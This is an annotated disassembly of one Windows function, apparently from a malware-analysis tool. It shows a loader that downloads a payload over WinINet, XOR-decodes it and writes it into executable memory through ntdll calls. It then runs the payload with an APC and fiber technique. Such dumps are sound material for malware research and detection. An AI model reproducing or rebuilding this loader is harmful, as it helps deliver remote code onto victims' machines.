Function at 0x140002480
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x10f0
call fcn.1400093e0
sub rsp, rax
mov rax, qword [0x140040020]
xor rax, rsp
mov qword [rsp + 0x10e0], rax
xor edi, edi
mov dword [rsp + 0xb0], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], rdi
call fcn.1400020f0
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], dil
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002510
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140003cd0
nop
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [0x14003aaa8]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x14000291d
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000293f
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r14, rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0xb0], 1
nop dword [rax]
nop dword [rax + rax]
lea r9, [rsp + 0xa0]
mov r8d, 0x1000
lea rdx, [rsp + 0xe0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002607
mov eax, dword [rsp + 0xa0]
test eax, eax
je 0x140002607
lea r9, [rsp + 0xe0]
add r9, rax
lea r8, [rsp + 0xe0]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x30]
call fcn.140006350
mov r14, qword [rsp + 0x40]
jmp 0x1400025b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x30]
mov qword [rsp + 0xb8], rsi
mov r15, qword [rsp + 0x38]
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], r14
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140002679
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002971
call fcn.140008da0
nop
sub r15, rsi
mov qword [rsp + 0xb0], r15
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0xa0], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0xb0]
xor r8d, r8d
lea rdx, [rsp + 0xa0]
call rbx
mov ebx, eax
test eax, eax
je 0x1400026ec
lea rdx, str.NtAllocateVirtualMemory_failed_with_status:
jmp 0x1400027b9
mov r12, qword [rsp + 0xa0]
test r12, r12
je 0x1400027d8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test r15, r15
je 0x14000276c
movzx ecx, byte [rsi + rdi]
xor cl, 0xaa
mov byte [rsp + 0xa8], cl
lea rbx, [rdi + r12]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, [rsp + 0xa8]
mov rdx, rbx
call r13
mov ebx, eax
test eax, eax
jne 0x1400027b2
inc rdi
cmp rdi, r15
jb 0x140002722
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rbx, rax
test rax, rax
jne 0x140002847
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Error_creating_fiber:
mov ebx, eax
lea rcx, [0x140041510]
call fcn.140005240
mov rcx, rax
mov edx, ebx
call fcn.140002980
mov rcx, rax
call fcn.140005510
jmp 0x140002886
lea rdx, str.NtWriteVirtualMemory_failed_with_status:
lea rcx, [0x140041510]
call fcn.140005240
mov edx, ebx
mov rcx, rax
call fcn.140002b80
mov rcx, rax
call fcn.140005510
nop
test rsi, rsi
je 0x140002810
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x140002805
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002917
mov rdx, r14
mov rcx, rsi
call fcn.140008da0
mov eax, 1
mov rcx, qword [rsp + 0x10e0]
xor rcx, rsp
call fcn.140008d80
lea r11, [rsp + 0x10f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
nop
mov rdx, rax
mov r8, r12
lea rcx, [0x140002040]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x140002877
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_to_queue_APC:
jmp 0x14000278d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov edx, 1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_SleepEx]
nop
test rsi, rsi
je 0x1400028cb
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x1400028c0
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002917
mov rdx, r14
mov rcx, rsi
call fcn.140008da0
xor eax, eax
jmp 0x140002815
call fcn.140011a7c
nop
lea rdx, str.Failed_to_open_internet_connection
lea rcx, [rsp + 0x70]
call fcn.140001470
lea rdx, [0x14003e988]
lea rcx, [rsp + 0x70]
call fcn.14000aafc
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Failed_to_open_URL
lea rcx, [rsp + 0x88]
call fcn.140001470
lea rdx, [0x14003e988]
lea rcx, [rsp + 0x88]
call fcn.14000aafc
nop
call fcn.140011a7c
int3